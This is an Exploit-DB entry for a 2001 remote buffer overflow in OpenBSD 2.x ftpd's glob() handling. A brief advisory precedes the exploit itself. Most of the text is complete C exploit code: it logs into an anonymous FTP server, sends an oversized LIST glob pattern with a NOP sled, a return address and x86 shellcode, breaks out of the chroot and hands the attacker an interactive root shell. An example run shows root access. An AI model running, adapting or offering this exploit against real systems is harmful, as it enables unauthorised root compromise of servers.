OpenBSD 2.x < 2.8 FTPd - 'glob()' Remote Buffer Overflow

EDB-ID:

20733


Platform:

OpenBSD

Published:

2001-04-16

source: http://www.securityfocus.com/bid/2548/info
  
  
The BSD ftp daemon and derivatives (such as IRIX ftpd or the ftp daemon shipped with Kerberos 5) contain a number of buffer overflows that may lead to a compromise of root access to malicious users.
  
During parsing operations, the ftp daemon assumes that there can never be more than 512 bytes of user-supplied data. This is because that is usually how much data is read from a socket. Because of this assumption, certain memory copy operations involving user data lack bounds checking.
  
It is possible for users to use metacharacters to expand file/path names through interpretation by glob() and exploit these overflowable conditions. In order to do so, the attacker's ftp account must be able to either create directories or directories with long enough names must exist already.
  
Any attacker to successfully exploit this vulnerability would gain root access on the target host. 

/*
OpenBSD 2.x - 2.8 ftpd exploit.
  It is possible to exploit an anonymous ftp without write permission
  under certain circumstances. One is most likely to succeed if there
  is a single directory somewhere with more than 16 characters in its
  name.
  Of course, if one has write permissions, one could easily create
  such a directory.
  My return values aren't that good. Find your own.
  Patch is available at http://www.openbsd.org/errata.html
Example:
  ftp> pwd
  257 "/test" is current directory.
  ftp> dir
  229 Entering Extended Passive Mode (|||12574|)
  150 Opening ASCII mode data connection for '/bin/ls'.
  total 2
  drwxr-xr-x  2 1000  0  512 Apr 14 14:14 12345678901234567
  226 Transfer complete.
.....
  $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost
  // 230 Guest login ok, access restrictions apply.
  // 250 CWD command successful.
  retaddr = dfbeb970
  Press enter..
  remember to remove the "adfa"-dir
  id
  uid=0(root) gid=32766(nogroup) groups=32766(nogroup)
The shellcode basically does:
  seteuid(0); a = open("..", O_RDONLY); mkdir("adfa", 555);
  chroot("adfa"); fchdir(a); for(cnt = 100; cnt; cnt--)
    chdir("..");
  chroot(".."); execve("/bin//sh", ..);
Credits:
  COVERT for their advisory.
  The OpenBSD devteam for a great OS.
  beercan for letting me test this on his OpenBSD 2.8-RELEASE
Author:
  Tomas Kindahl <stok@codefactory.se>
  Stok@{irc,ef}net
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

extern char *optarg;
static int debug;
int cflag, lflag, sflag;

/* The execve-part was stolen from "predator" */
char shellcode[] = 
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x58\x50\x66\x68\x2e\x2e\x89\xe1"
"\x50\x51\x50\xb0\x05\xcd\x80\x89"
"\xc3\x58\x50\x68\x61\x64\x66\x61"
"\x89\xe2\x66\x68\x6d\x01\x52\x50"
"\xb0\x88\xcd\x80\xb0\x3d\xcd\x80"
"\x53\x50\xb0\x01\x83\xc0\x0c\xcd"
"\x80\x51\x50\x31\xc9\xb1\x64\xb0"
"\x0c\xcd\x80\xe2\xfa\xb0\x3d\xcd"
"\x80\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x50\x54\x53\xb0\x3b\x50"
"\xcd\x80\xc3";

#define USER "USER ftp\r\n"
#define PASS "PASS -user@\r\n"

void usage(const char *);
void docmd(int s, const char *cmd, int print);
void communicate(int s);

int main(int argc, char *argv[])
{
  char expbuf[512] = "LIST ", *basedir, option;
  char commandbuf[512] = "", *hostname;
  int cnt, dirlen, explen, sendlen;
  int s, port = 21, pad;
  long retaddr;
  struct sockaddr_in sin;
  struct hostent *he;

  while((option = getopt(argc, argv, "dc:l:p:s:")) != -1)
    switch(option)
      {
      case 'd':
        debug++;
        break;
      case 'c':
        cflag = 1;
        basedir = optarg;
        break;
      case 'l':
        lflag = 1;
        dirlen = atoi(optarg);
        if(dirlen < 16)
          {
            usage(argv[0]);
            exit(0);
          }
        break;
      case 'p':
        port = atoi(optarg);
        break;
      case 's':
        sflag = 1;
        retaddr = strtoul(optarg, 0, 0);
        break;
      default:
        usage(argv[0]);
        exit(0);
      }

  if(!cflag || !lflag)
    {
      usage(argv[0]);
      exit(0);
    }

  if(argc - optind == 1)
    hostname = argv[optind];
  else
    {
      usage(argv[0]);
      exit(0);
    }

  if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror("socket");
      exit(1);
    }

  if((he = gethostbyname(hostname)) == NULL)
    {
      herror(hostname);
      exit(0);
    }
  memset(&sin, 0, sizeof(struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);
  memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));
  if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)
    {
      perror("connect");
      exit(0);
    }

  if(debug)
    fprintf(stderr, "// basedir = \"%s\"\n", basedir);

  /* "untrusted input"? */
  for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)
    strcat(expbuf, "*/../");
  strcat(expbuf, "*/");
  if(debug)
    fprintf(stderr, "// expbuf = \"%s\"\n", expbuf);

  explen = cnt*(dirlen+4) + dirlen + 1;
  if(debug)
    fprintf(stderr, "// explen = %d\n", explen);

  sendlen = strlen(expbuf);
  if(debug)
    fprintf(stderr, "// sendlen = %d\n", sendlen);

  docmd(s, "", 0);

  docmd(s, USER, 0);
  docmd(s, PASS, 1);

  snprintf(commandbuf, sizeof(commandbuf), "CWD %s\r\n", basedir);
  docmd(s, commandbuf, 1);


/*************************/

  pad = 1027 - explen;
  if(debug)
    fprintf(stderr, "// pad = %d\n", pad);

  for(; pad >= 0; pad--)
    strcat(expbuf, "x");

  /* return address */
  if(!sflag)
    {
      switch(dirlen)
        {
        case 16:
          retaddr = 0xdfbeab60;
        case 26:
          retaddr = 0xdfbefe40;
        default:
          /* I don't have the patience to investigate this. */
          retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;
        }
      retaddr+=20;
    }

  fprintf(stderr, "retaddr = %.8lx\n", retaddr);
  /* endian dependant */
  strncat(expbuf, (char *) &retaddr, 4);

  for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)
    strcat(expbuf, "\x90");

  strcat(expbuf, shellcode);

  strcat(expbuf, "\r\n");
/*************************/

  fprintf(stderr, "Press enter.."); fflush(stderr);
  fgets(commandbuf, sizeof(commandbuf)-1, stdin);

  docmd(s, expbuf, 0);

  fprintf(stderr, "remember to remove the \"adfa\"-dir\n");
  communicate(s);

  return 0;
}

void usage(const char *s)
{
  fprintf(stderr, "Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostname\n", s);
}

void docmd(int s, const char *cmd, int print)
{
  char uglybuf[1024];
  int len;
  fd_set rfds;
  struct timeval tv;

  len = strlen(cmd);
  if(debug)
    {
      write(STDERR_FILENO, "\\\\ ", 3);
      write(STDERR_FILENO, cmd, len);
    }
  if(send(s, cmd, len, 0) != len)
    {
      perror("send");
      exit(0);
    }

  FD_ZERO(&rfds);
  FD_SET(s, &rfds);
  tv.tv_sec = 1;
  tv.tv_usec = 0;
  select(s+1, &rfds, NULL, NULL, &tv);
  if(FD_ISSET(s, &rfds))
    {
      if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)
        {
          perror("recv");
          exit(0);
        }
      if(len == 0)
        {
          fprintf(stderr, "EOF on socket. Sorry.\n");
          exit(0);
        }
      if(debug || print)
        {
          write(STDERR_FILENO, "// ", 3);
          write(STDERR_FILENO, uglybuf, len);
        }
    }
}

void communicate(int s)
{
  char buf[1024];
  int len;
  fd_set rfds;

  while(1)
    {
      FD_ZERO(&rfds);
      FD_SET(STDIN_FILENO, &rfds);
      FD_SET(s, &rfds);
      select(s+1, &rfds, NULL, NULL, NULL);
      if(FD_ISSET(STDIN_FILENO, &rfds))
        {
          if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)
            return;
          if(send(s, buf, len, 0) == -1)
            return;
        }
      if(FD_ISSET(s, &rfds))
        {
          if((len = recv(s, buf, sizeof(buf), 0)) <= 0)
            return;
          if(write(STDOUT_FILENO, buf, len) == -1)
            return;
        }
    }
}